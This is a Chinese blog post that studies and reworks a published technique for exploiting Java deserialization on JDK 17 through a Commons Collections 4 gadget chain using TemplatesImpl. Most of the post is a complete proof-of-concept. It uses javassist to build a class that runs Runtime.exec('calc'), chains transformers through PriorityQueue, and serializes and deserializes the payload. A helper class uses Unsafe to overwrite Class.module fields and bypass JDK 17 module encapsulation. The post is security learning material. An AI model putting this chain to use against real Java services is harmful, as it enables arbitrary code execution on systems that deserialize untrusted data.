jdk17利用TemplatesImpl
1diot9 Lv4

先直接放原作者的文章:

https://jiecub3.github.io/zh/posts/java/chain/jdk17cc%E9%93%BE%E4%B8%8B%E5%88%A9%E7%94%A8templatesimpl/

文章里以及写的很清楚了,我就简单整理一下看文章时遇到的问题和学到的东西。

1、为什么恶意类不继承AbstractTranslet

img

作者说这里没有继承AbstractTranslet,因为模块检测会报错,我这里试了一下继承,结果报错:

img

本来想着能不能在静态代码块里通过Unsafe去patchModule,试了一下发现还是不行,突然想到,这个superClass的判断,应该是比静态代码还要优先执行的,所以这个方法不奏效。

所以,作者选择的是,添加两个bytecodes来防止空指针报错:

img

img

将_transletIndex设置为0,防止抛出报错,且加载第一个bytecodes:

img

img

2、Unsafe实现

获取Unsafe大概是这样:

1
2
3
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);

CC链里,invokerTransformer是通过ChainedTransformer顺序调用的。这里的特点就是,上一次transform的结果,会变成下一次transform的input。但是我们这里的Field theUnsafe要用两次,但是执行theUnsafe.setAccessible(true);返回的是void,而不是我们想要的theUnsafe。所以,我们需要找一个另外的transform方法。类似:

img

这样就能先通过invokeTransformer执行setAccessible,并且返回的还是一个theUnsafe对象。

作者最终选择的组合:

img

3、isName()

img

作者这里说,Module类的字段是无法通过反射获取的,这里试了一下:

img

确实无法获取。

4、Module全为null

img

作者最后提到,把InstantiateTransformer和TrAXFilter的module全部改成null也能实现绕过。

只要加一个ConstantTransformer,重新获取一遍Unsafe就行了。

修改后的poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
package com.test;

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.*;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC4_nullModule {
public static void main(String[] args) throws Exception {

// Field field = Module.class.getDeclaredField("name");
// Module.name获取不到
Field field = Class.class.getDeclaredField("module");
bypassModule.getOffset(field);
// packageName偏移量为60,module偏移量为48
ClassPool pool = ClassPool.getDefault();
// pool.insertClassPath("java.io")
pool.importPackage("java.io");
CtClass ctClass = pool.makeClass("Calc");
CtConstructor staticBlock = ctClass.makeClassInitializer();
staticBlock.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"calc\");\n" +
" } catch (IOException e) {\n" +
" throw new RuntimeException(e);\n" +
" }");

ClassPool pool1 = ClassPool.getDefault();
CtClass ctClass1 = pool1.makeClass("Useless");

byte[] bytecode = ctClass.toBytecode();
byte[] bytecode1 = ctClass1.toBytecode();

Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
bypassModule.patchModule(CC4_nullModule.class, aClass);
Object templates = aClass.newInstance();
setFieldValue(templates, "_name", "123");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_bytecodes", new byte[][]{bytecode, bytecode1});
setFieldValue(templates, "_transletIndex", 0);


Class<?> TrAXFilter = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter");
InstantiateTransformer invokerTransformer9 = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
ConstantTransformer constantTransformer2 = new ConstantTransformer(TrAXFilter);


Class UnsafeClass = Class.forName("sun.misc.Unsafe");
InvokerTransformer invokerTransformer8 = new
InvokerTransformer("getAndSetObject", new Class[]
{Object.class, long.class, Object.class}, new Object[]
{InstantiateTransformer.class, 48, null});

InvokerTransformer invokerTransformer7 = new
InvokerTransformer("get", new Class[]{Object.class}, new Object[]
{null});
InvokerTransformer invokerTransformer6 = new
InvokerTransformer("setAccessible", new Class[]{boolean.class},
new Object[]{true});
TransformerClosure transformerClosure1 = new
TransformerClosure(invokerTransformer6);
ClosureTransformer ClosureTransformer1 = new
ClosureTransformer(transformerClosure1);
InvokerTransformer invokerTransformer5 = new
InvokerTransformer("getDeclaredField", new Class[]{String.class},
new Object[]{"theUnsafe"});
ConstantTransformer constantTransformer1 = new ConstantTransformer(UnsafeClass);

InvokerTransformer invokerTransformer4 = new
InvokerTransformer("getAndSetObject", new Class[]
{Object.class, long.class, Object.class}, new Object[]
{TrAXFilter, 48, null});

InvokerTransformer invokerTransformer3 = new
InvokerTransformer("get", new Class[]{Object.class}, new Object[]
{null});
InvokerTransformer invokerTransformer2 = new
InvokerTransformer("setAccessible", new Class[]{boolean.class},
new Object[]{true});
TransformerClosure transformerClosure = new
TransformerClosure(invokerTransformer2);
ClosureTransformer ClosureTransformer = new
ClosureTransformer(transformerClosure);
InvokerTransformer invokerTransformer = new
InvokerTransformer("getDeclaredField", new Class[]{String.class},
new Object[]{"theUnsafe"});
ConstantTransformer constantTransformer = new
ConstantTransformer(UnsafeClass);

Transformer[] transformers=new Transformer[]
{constantTransformer,invokerTransformer,ClosureTransformer,invokerTransformer3, invokerTransformer4,
constantTransformer1, invokerTransformer5, ClosureTransformer1, invokerTransformer7, invokerTransformer8, constantTransformer2, invokerTransformer9};
Transformer keyTransformer = new
ChainedTransformer(transformers);

System.out.println(TrAXFilter.getModule());
System.out.println(InvokerTransformer.class.getModule());

TransformingComparator transformingComparator = new TransformingComparator(keyTransformer);
PriorityQueue priorityQueue = new PriorityQueue(2, transformingComparator);

bypassModule.patchModule(CC4_nullModule.class, PriorityQueue.class);
Field size = priorityQueue.getClass().getDeclaredField("size");
size.setAccessible(true);
size.setInt(priorityQueue, 2);

// ByteArrayOutputStream baos = new ByteArrayOutputStream();
FileOutputStream fos = new FileOutputStream("cc4.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(priorityQueue);
oos.close();


FileInputStream fis = new FileInputStream("cc4.bin");
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
ois.close();

}

public static void setFieldValue (Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

bypassModule:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package com.test;


import sun.misc.Unsafe;

import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class bypassModule {
public static void patchModule(Class current, Class target) throws Exception {
Unsafe unsafe = getUnsafe();
long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
// Method method = Class.class.getDeclaredMethod("getModule");
// method.setAccessible(true);
// Object targetModule = method.invoke(target);
Module targetModule = target.getModule();
unsafe.putObject(current, offset, targetModule);
}

public static void patch(Class clazz) throws Exception {
Unsafe unsafe = getUnsafe();
long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.putObject(clazz, offset, Object.class.getModule());
}

public static Unsafe getUnsafe() throws Exception{
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
return unsafe;
}

public static void getOffset(Field f) throws Exception {
Unsafe unsafe = getUnsafe();
long offset = unsafe.objectFieldOffset(f);
System.out.println(offset);
}

}

5、虚拟机参数选项

在生成序列化数据时,我们会用到:

1
2
3
Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
bypassModule.patchModule(MyExp.class, aClass);
Object templates = aClass.newInstance();

来生成templatesImpl对象。

除了直接使用patchModule方法,我们还可以在虚拟机选项中添加参数:

img

1
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED

这样也能实现patchModule的效果。

结语

看懂大佬的文章并不难,但是像大佬一样,在不知道能否成功的情况下,独立挖掘链子,想办法去寻找新的绕过,我感觉很困难。总之还有很多要学习的,慢慢来吧,坚持不懈最重要。

另外,再补充几个链接,因为这个文章发在好几个社区了:

https://xz.aliyun.com/news/18628

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 61.3k 访客数 访问量